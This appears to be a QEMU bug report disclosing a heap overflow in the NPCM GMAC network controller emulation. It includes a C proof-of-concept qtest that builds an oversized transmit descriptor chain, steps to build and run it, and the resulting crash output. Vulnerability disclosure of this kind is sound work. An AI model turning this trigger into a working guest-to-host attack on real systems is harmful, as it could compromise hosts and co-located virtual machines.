Heap Overflow in NPCM GMAC Network Controller

Host environment

  • Operating system:

    Ubuntu 24.04

  • OS/kernel version:

    Linux Mewtwo 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

  • Architecture:

    x86

  • QEMU flavor:

    qemu-system-aarch64

  • QEMU version:

    c494afbb

  • QEMU command line:

  • OS/kernel version:

  • Architecture:

Description of problem

Integer truncation in transmit buffer allocation allows a malicious guest to trigger heap buffer overflow, potentially leading to virtual machine escape and arbitrary code execution on the host.

Affected Component(s): hw/net/npcm_gmac.c (function gmac_try_send_next_packet)

Affected Version(s)/Platform(s):

  • All ARM64 platforms using NPCM8xx GMAC network controllers
  • npcm845-evb and related NPCM8xx machine types
  • QEMU v9.1.3 and latest master branch
  • All host architectures running QEMU ARM64 emulation

Impact: A malicious guest with kernel-level access to NPCM GMAC device can:

  1. Trigger controlled heap buffer overflow (~65KB overflow)
  2. Corrupt QEMU process heap memory
  3. Potentially achieve arbitrary code execution on host
  4. Escape virtual machine security boundary
  5. Compromise host system and other co-located VMs

Steps to reproduce

FILE 1: Proof-of-Concept Test Code

File: tests/qtest/npcm_gmac_overflow_poc.c (Already exists in your tree)

/*
 * Simplified PoC for NPCM GMAC Heap Overflow
 * This version is designed to be added to QEMU's test suite
 */
#include "qemu/osdep.h"
#include "libqtest.h"
#define GMAC_BASE 0xf0802000
#define DMA_TX_BASE_ADDR (GMAC_BASE + 0x1010)
#define DMA_CONTROL (GMAC_BASE + 0x1018)
#define DMA_XMT_POLL (GMAC_BASE + 0x1004)
#define GMAC_MAC_CONFIG (GMAC_BASE + 0x0)
#define TX_DESC_OWN (1U << 31)
#define TX_DESC_FIRST_SEG (1U << 29)
#define TX_DESC_LAST_SEG (1U << 30)
#define TX_DESC_CHAINED (1U << 24)
#define DMA_START_TX (1U << 13)
#define MAC_TX_ENABLE (1U << 3)
#define DESC_BASE 0x10000000
#define BUFFER_BASE 0x20000000
#define BUFFER_SIZE 2047
#define NUM_DESC 34 /* 34 * 2047 = 69598, truncated to 4062 */
struct tx_desc {
    uint32_t tdes0;
    uint32_t tdes1;
    uint32_t tdes2;
    uint32_t tdes3;
};
int main(void)
{
    QTestState *qts;
    struct tx_desc desc;
    uint64_t desc_addr = DESC_BASE;
    uint64_t buffer_addr = BUFFER_BASE;
    printf("=================================================\n");
    printf("NPCM GMAC Heap Overflow PoC\n");
    printf("=================================================\n\n");
    printf("[+] Total buffer size: %d * %d = %d (0x%x)\n",
           NUM_DESC, BUFFER_SIZE, NUM_DESC * BUFFER_SIZE, NUM_DESC * BUFFER_SIZE);
    printf("[+] Truncated to uint16_t: %d (0x%x)\n",
           (NUM_DESC * BUFFER_SIZE) & 0xFFFF,
           (NUM_DESC * BUFFER_SIZE) & 0xFFFF);
    printf("[+] Overflow size: ~%d bytes\n\n",
           NUM_DESC * BUFFER_SIZE - ((NUM_DESC * BUFFER_SIZE) & 0xFFFF));
    qts = qtest_init("-machine npcm845-evb -display none");
    printf("[+] Creating malicious descriptor chain...\n");
    /* Create descriptor chain */
    for (int i = 0; i < NUM_DESC; i++) {
        memset(&desc, 0, sizeof(desc));
        desc.tdes0 = TX_DESC_OWN;
        desc.tdes1 = BUFFER_SIZE | TX_DESC_CHAINED;
        if (i == 0) {
            desc.tdes1 |= TX_DESC_FIRST_SEG;
        }
        if (i == NUM_DESC - 1) {
            desc.tdes1 |= TX_DESC_LAST_SEG;
            desc.tdes1 &= ~TX_DESC_CHAINED;
        }
        desc.tdes2 = buffer_addr + (i * BUFFER_SIZE);
        desc.tdes3 = (i < NUM_DESC - 1) ? (desc_addr + sizeof(desc)) : 0;
        qtest_memwrite(qts, desc_addr, &desc, sizeof(desc));
        /* Fill buffer with pattern */
        uint8_t pattern[BUFFER_SIZE];
        memset(pattern, 0x41, sizeof(pattern));
        qtest_memwrite(qts, buffer_addr + (i * BUFFER_SIZE), pattern, sizeof(pattern));
        desc_addr += sizeof(desc);
    }
    printf("[+] Descriptor chain created\n");
    printf("[!] Triggering heap overflow...\n\n");
    /* Configure and trigger TX */
    qtest_writel(qts, DMA_TX_BASE_ADDR, DESC_BASE);
    qtest_writel(qts, GMAC_MAC_CONFIG, MAC_TX_ENABLE);
    qtest_writel(qts, DMA_CONTROL, DMA_START_TX);
    /* TRIGGER THE VULNERABILITY */
    qtest_writel(qts, DMA_XMT_POLL, 1);
    g_usleep(100000); /* 100ms */
    printf("[!] If QEMU is still running, heap overflow occurred!\n");
    printf("[!] Compile with --enable-sanitizers to detect:\n");
    printf(" cd build && ../configure --enable-sanitizers && make\n\n");
    qtest_quit(qts);
    printf("=================================================\n");
    printf("PoC completed\n");
    printf("=================================================\n");
    return 0;
}

FILE 2: Build Configuration

Add to tests/qtest/meson.build (Already done in your tree):

qtests_npcm8xx = [
  'npcm_gmac-test',
  'npcm_gmac_overflow_poc' # ← Added this line
]

REPRODUCTION STEPS

Step 1: Build QEMU with the test

cd /path/to/qemu

Configure

./configure --target-list=aarch64-softmmu

Build

make -j$(nproc)

Set the QEMU binary path

export QTEST_QEMU_BINARY=./qemu-system-aarch64

Run the PoC

./tests/qtest/npcm_gmac_overflow_poc Step 3: Observe the Crash

EXPECTED OUTPUT (Vulnerability Confirmed):

=================================================
NPCM GMAC Heap Overflow PoC
=================================================
[+] Total buffer size: 34 * 2047 = 69598 (0x10fde)
[+] Truncated to uint16_t: 4062 (0xfde)
[+] Overflow size: ~65536 bytes
# starting QEMU: exec ./qemu-system-aarch64 -qtest unix:/tmp/qtest-XXXXXX.sock ...
[+] Creating malicious descriptor chain...
[+] Descriptor chain created
[!] Triggering heap overflow...
malloc(): invalid next size (unsorted)
Broken pipe
../tests/qtest/libqtest.c:208: kill_qemu() detected QEMU death from signal 6 (Aborted) (core dumped)

Additional information